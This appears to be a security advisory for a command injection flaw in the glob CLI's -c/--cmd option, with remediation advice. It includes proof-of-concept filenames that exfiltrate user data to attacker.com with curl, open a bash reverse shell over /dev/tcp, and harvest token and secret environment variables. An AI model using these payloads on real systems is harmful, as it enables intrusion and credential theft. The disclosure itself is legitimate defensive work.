All the vulnerabilities related to the version 13.1.5 of the package
glob CLI: Command injection via -c/--cmd executes matches with shell:true
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow:
glob -c <command> <pattern>shell: trueAffected Component:
glob(), globSync(), streams/iterators) is not affectedAttack Surface:
$(), backticks, ;, &, |, etc.glob -c on untrusted contentSetup Malicious File:
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
Trigger Vulnerability:
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
Result:
$(touch injected_poc) in the filename is evaluated by the shellinjected_poc is created, proving command executionAdvanced Payload Examples:
Data Exfiltration:
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell:
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting:
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Arbitrary Command Execution:
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
glob -c to process files (linting, testing, deployment)2. Developer Workstation Attack:
glob -c for file processing3. Automated Processing Systems:
4. Supply Chain Poisoning:
Platform-Specific Risks:
src/bin.mts)-c/--cmd option)Scope Limitation:
glob(), globSync(), async iterators) are safe-c/--cmd option is vulnerableglob@10.5.0, glob@11.1.0, or higher, as soon as possible.glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.--shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.